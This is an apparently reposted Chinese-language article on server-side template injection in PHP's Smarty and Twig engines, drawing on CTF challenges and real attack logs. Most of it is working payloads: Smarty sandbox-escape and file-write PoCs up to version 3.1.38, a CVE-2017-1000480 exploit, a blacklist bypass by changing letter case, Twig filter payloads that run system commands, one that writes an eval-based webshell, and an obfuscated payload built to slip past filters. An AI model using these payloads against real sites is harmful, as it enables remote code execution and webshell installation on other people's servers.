php常见的模板就两种 twig和smarty 在早些版本我们有很多种rce的方法但是随着版本升高新增加的安全策略以及安全人员的各种黑名单导致比较困难去利用,这里浅谈下我的一些发现
如果你是CTFer 一定记得出自于CISCN2019华东南赛区Web11的一道题
在这里我们可以在X-Forwarded-For里面插入payload来达到rce的效果
比如可以直接调用{{system('cat /flag')}}
来获取flag
如果在未经过任何处理的情况下,这段payload可以通杀任何版本
3.1以下还有他独特的利用方法 比如{php}{/php}
通过内置的php标签直接进行函数的调用 比如{php}phpinfo();{/php}
但值得一提的是3.1以下版本太少见 市面上常见的CTF题目都是3.1+ 可以看见他的报错是已经禁止了{php}标签 只允许在SmartyBC里使用
如果你曾经看过ecshop的代码 你会发现 他们经常使用一个标签叫做{literal}
{literal}标签的能力是用来包裹js的,如果平常添加js代码可能会出错 ,如果可以配合php5中的
<script language="php">phpinfo();</script>
特殊标签来命令执行
还有一个漏洞点就是3.1.30之前 我们也可以利用Smarty类的getStreamVariable方法来进行读写
具体Payload
{self::getStreamVariable("file:///flag")}
这是因为读取的源码如下 可以看到可控的fopen文件读写
public function getStreamVariable($variable) { $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; }
而在<3.31以下也出过命令执行RCE demo如下
<?php require './vendor/autoload.php'; class Smarty_Resource_Widget extends Smarty_Resource_Custom { protected function fetch($name, &$source, &$mtime) { $template = "test"; $source = $template; $mtime = time(); return '1'; } } $smarty = new Smarty(); $smarty->setCacheDir('cache'); $smarty->setCompileDir('compile'); $smarty->setTemplateDir('templates'); $my_security_policy = new Smarty_Security($smarty); $smarty->enableSecurity($my_security_policy); $smarty->registerResource('username', new Smarty_Resource_Widget()); $smarty->display('username:'.$_GET['a']); ?>
在这里可以看到开启了Smarty_Security内置的沙盒保护机制
可以看到$_template->source->filepath 进行了直接拼接
而你可以发现我们所做的只要将payload前后各闭合一个注释 让程序包含文件即可命令执行poc: */phpinfo();/*
即可来写入文件包含 具体漏洞详情可以自行搜索CVE-2017-1000480 我就不再多提了
demo如下 高版本一般都可以指定沙盒
<?php include_once('../libs/Smarty.class.php'); $smarty = new Smarty(); $smarty->enableSecurity(); $smarty->display($_GET['poc']);
在<=3.1.38的条件下
我们可以有如下的poc
?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)} ?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')} ?poc=string:{function+name='rce(){};system("id");function+'}{/function}
来进行命令执行
但很多时候 开发者可能会进行一些底层的修改来进行一些黑名单 比如笔者曾经打过移动的一个ctf
笔者使用了第三个poc打发现显示
后来发现源码之后
在这里进行了些许patch 禁止我们使用function 当然这里面是strstr 没有使用stristr 所以我们可以把function大写来进行绕过
那当然如果在实战场景下 我们可能会看见有开启严格的沙盒模式的情况
$smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); $smarty->display($herf);
这种情况我们就可以使用我们的第二个payload
?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}
来关闭沙盒执行
当然当一些自作聪明的人ban掉渲染display函数的时候 我们也同样可以使用fetch函数来达到同样渲染模板的作用
twig有多种多样的过滤器 导致面临着不小的安全问题
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
在twig 1.x的情况下 _self变量可以调用Twig_Enviroment中的getfilter方法 最后底层走了call_user_func 出现模板注入
在高版本2.x/3.x中 _self失去了意义 但有许许多多的过滤器会导致命令执行
简单写个demo
$loader = new \Twig\Loader\ArrayLoader([ 'index' => 'Hello'." guest flag is in /flag", 'check' => 'Hello'." "."{% autoescape 'html' %}".$_GET['name']."{% endautoescape %}", 'check2' => 'Hello'." ".$_GET['name']), ]); $twig = new \Twig\Environment($loader); echo $twig->render('check2');
测试poc
{{["id"]|map("system")}} {{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}} {{["id", 0]|sort("system")}} {{["id"]|filter("system")}} {{[0, 0]|reduce("system", "id")}}
可以看到分别使用了map sort filter reduce四种构造器都会导致命令执行
他们的底层原理也很简单 走了array家族的这几个 array_filter array_reduce array_map 都会导致命令执行
而笔者在前两天的时候查实战日志中看到一个很有趣的poc 虽然说是因为开发者的正则很垃圾 但还是有一些参考价值的
{{[%22galf/%20tac%22]|join(%22%22)|reverse|split('',14)|filter(%27passthru%27)}}
可以看到他把payload反着写在数组里 利用join 来拼接成字符串 再reverse变成正常的我们需要的字符串 cat /flag 而filter我们知道需要数组来执行 所以他用了split组合成数组来达到rce的目的 由此看来这些功能丰富的过滤器还是有点意思的
http://www.wangqingzheng.com/anquanke/5/235505.html